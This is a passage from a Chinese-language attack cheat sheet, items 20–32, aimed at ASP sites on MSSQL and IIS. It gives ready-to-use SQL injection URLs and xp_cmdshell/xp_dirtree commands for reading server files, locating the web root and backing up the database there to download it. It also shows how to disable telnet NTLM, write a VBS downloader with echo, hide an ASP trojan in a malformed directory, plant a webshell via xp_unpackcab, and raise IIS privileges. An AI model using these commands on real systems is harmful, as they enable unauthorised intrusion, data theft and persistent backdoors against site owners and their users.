|
接下来,另外建立一个临时表,用来存放D盘的1级子目录下的所有目录,语句如下:
;create table temp1(dir nvarchar(255),depth varchar(255));--
然后把从D盘的第一个子目录下的所有目录存到temp1中,语句如下: declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname 当然也可以把D盘的第二个子目录下的所有目录存到temp1中,只需把第二个top 1改为top 2就行了。
现在,temp1中已经保存了所有D盘第一级子目录下的所有目录,然后,我们用同样的方法来判断根目录是否在此一级子目录下: and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1) 如果返回为真,表示根目录可能在此子目录下,记住要多测试几个例子,如果都返回为假,则表明WEB根目录不在此目录下,然后我们在用同样的方法来获得D盘第2、3...个子目录下的所有目录列表,来判断WEB根目录是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的内容删除。
现在假设,WEB根目录在D盘的第一级子目录下,该子目录名称为website,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2,我们需要知道website下到底哪个才是真正的WEB根目录。
现在,我们用同样的方法,再建立第3个临时表: ;create table temp2(dir nvarchar(255),depth varchar(255));--
然后把从D盘的website下的所有目录存到temp2中,语句如下: declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname 当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中,只需把第二个top 1改为top 2就行了。
现在,我们用同样的方法判断该目录是否为根目录: and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2) 如果返回为真,为了确定我们的判断,多测试几个例子,方法上面都讲到了,如果多个例子都返回为真,那么就确定了该目录为WEB根目录。
用以上的方法基本上可以获得WEB根目录,现在我们假设WEB根目录是:D:\website\www 然后,我们就可以备份当前数据库到这个目录下用来下载。备份前我们把temp、temp1、temp2的内容清空,然后C、D、E盘的目录树分别存到temp、temp1、temp2中。
下载完数据库后要记得把三个临时表drop掉,现在我们在下载的数据库中可以找到所有的目录列表,包括后台管理的目录以及更多信息。
21、win2000下将WEB用户提升为系统用户权限,需要有管理员的权限才能执行: c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"
cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\windows\system32\idq.dll" "C:\windows\system32\inetsrv\httpext.dll" "C:\windows\system32\inetsrv\httpodbc.dll" "C:\windows\system32\inetsrv\ssinc.dll" "C:\windows\system32\msw3prt.dll" "C:\windows\system32\inetsrv\asp.dll"
查看是否成功: c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps
Microsoft (R) Windows Script Host Version 5.6 版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。 inprocessisapiapps : (LIST) (6 Items) "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "c:\winnt\system32\inetsrv\asp.dll"
22、如何隐藏ASP木马: 建立非标准目录:mkdir images..\ 拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp 通过web访问ASP木马:http://ip/images../news.asp?action=login 如何删除非标准目录:rmdir images..\ /s
23、去掉tenlnet的ntlm认证: ;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'—
24、用echo写入文件下载脚本iget.vbs: (1)echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >c:\iget.vbs
(2)c:\>cscript iget.vbs http://127.0.0.1/asp/dbm6.asp dbm6.asp
25、手工建立IIS隐藏目录的方法: ? 查看本地虚拟目录列表:cscript.exe c:\inetpub\AdminScripts\adsutil.vbs enum w3svc/1/root ? 新建一个kiss目录:mkdir c:\asp\kiss ? 建立kiss虚拟目录:cscript.exe c:\inetpub\AdminScripts\mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "kiss","c:\asp\kiss" ? 为kiss目录加执行和写权限: cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/kiss/accesswrite "true" -s: cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/accessexecute "true" -s: ? ?:Cscript c:\inetpub\AdminScripts\adsutil.vbs set /w3svc/1/root/kiss/createprocessasuser false ? 访问:http://127.0.0.1/kiss/test.asp
26、使用openrowset()连回本地做测试: select a.* FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111', 'select * FROM [dvbbs].[dbo].[dv_admin]') AS a
select * FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111', 'select * FROM [dvbbs].[dbo].[dv_admin]')
27、获得主机名: http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@servername)-- select convert(int,@@servername) select @@servername
28、获得数据库用户名: http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,system_user)-- http://www.19cn.com/showdetail.asp?id=49 and user>0 select user
29、普通用户获得WEBSHELL的方法之二: ? 打包: EXEC [master].[dbo].[xp_makecab] 'c:\test.rar','default',1,'d:\cmd.asp' 解包,可以用于得到webshell: ? EXEC [master].[dbo].[xp_unpackcab] 'C:\test.rar','c:',1, 'n.asp' ? 读任意文件内容,要求有master的dbo权限: EXEC [master].[dbo].[xp_readerrorlog] 1,'c:\cmd.asp'
30、sa 权限下已知web路径直接备份数据库到web路径下
http://www.XXXX.com/FullStory.asp?id=1;backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
? 遍历系统的目录结构,分析结果并发现WEB虚拟目录,先创建一个临时表:temp http://www.XXXX.com/FullStory.asp?id=1;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ? 接下来:我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中: http://www.XXXX.com/FullStory.asp?id=1;insert temp exec master.dbo.xp_availablemedia;-- ? 我们可以通过查询temp的内容来获得驱动器列表及相关信息或者利用xp_subdirs获得子目录列表,并存入temp表中: http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- ? 我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中: http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 这样就可以成功的浏览到所有的目录(文件夹)列表 ? 如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- ? 使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp' 浏览temp就可以看到index.asp文件的内容了!通过分析各种ASP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的连接密码。
31、一些sql中的扩展存储的总结: xp_availablemedia 显示系统上可用的盘符'C:\' xp_availablemedia xp_enumgroups 列出当前系统的使用群组及其说明 xp_enumgroups xp_enumdsn 列出系统上已经设置好的ODBC数据源名称 xp_enumdsn xp_dirtree 显示某个目录下的子目录与文件架构 xp_dirtree 'C:\inetpub\wwwroot\' xp_getfiledetails 获取某文件的相关属性 xp_getfiledetails 'C:\inetpub\wwwroot.asp' dbp.xp_makecab 将目标计算机多个档案压缩到某个档案里所压缩的档案都可以接在参数的后面用豆号隔开 dbp.xp_makecab 'C:\lin.cab','evil',1,'C:\inetpub\mdb.asp' xp_unpackcab 解压缩 xp_unpackcab 'C:\hackway.cab','C:\temp',1 xp_ntsec_enumdomains 列出服务器域名 xp_ntsec_enumdomains xp_servicecontrol 停止或者启动某个服务 xp_servicecontrol 'stop','schedule' xp_terminate_process 用pid来停止某个执行中的程序 xp_terminate_process 123 dbo.xp_subdirs 只列某个目录下的子目录 dbo.xp_subdirs 'C:\'
32、 USE MASTER GO create proc sp_MSforeachObject @objectType int=1, @command1 nvarchar(2000), @replacechar nchar(1) = N'?', @command2 nvarchar(2000) = null, @command3 nvarchar(2000) = null, @whereand nvarchar(2000) = null, @precommand nvarchar(2000) = null, @postcommand nvarchar(2000) = null as /* This proc returns one or more rows for each table (optionally, matching @where), with each table defaulting to its own result set */ /* @precommand and @postcommand may be used to force a single result set via a temp table. */ /* Preprocessor won't replace within quotes so have to use str(). */ declare @mscat nvarchar(12) select @mscat = ltrim(str(convert(int, 0x0002))) if (@precommand is not null) exec(@precommand) /* Defined @isobject for save object type */ Declare @isobject varchar(256) select @isobject= case @objectType when 1 then 'IsUserTable' when 2 then 'IsView' when 3 then 'IsTrigger' when 4 then 'IsProcedure' when 5 then 'IsDefault' when 6 then 'IsForeignKey' when 7 then 'IsScalarFunction' when 8 then 'IsInlineFunction' when 9 then 'IsPrimaryKey' when 10 then 'IsExtendedProc' when 11 then 'IsReplProc' when 12 then 'IsRule' end /* create the select */ /* Use @isobject variable isstead of IsUserTable string */ EXEC(N'declare hCForEach cursor global for select ''['' + REPLACE(user_name(uid), N'']'', N'']]'') + '']'' + ''.'' + ''['' + REPLACE(object_name(id), N'']'', N'']]'') + '']'' from dbo.sysobjects o ' + N' where OBJECTPROPERTY(o.id, N'''+@isobject+''') = 1 '+N' and o.category & ' + @mscat + N' = 0 ' + @whereand) declare @retval int select @retval = @@error if (@retval = 0) exec @retval = sp_MSforeach_worker @command1, @replacechar, @command2, @command3 if (@retval = 0 and @postcommand is not null) exec(@postcommand) return @retval GO
/*
[1] [2] [3] 下一页 |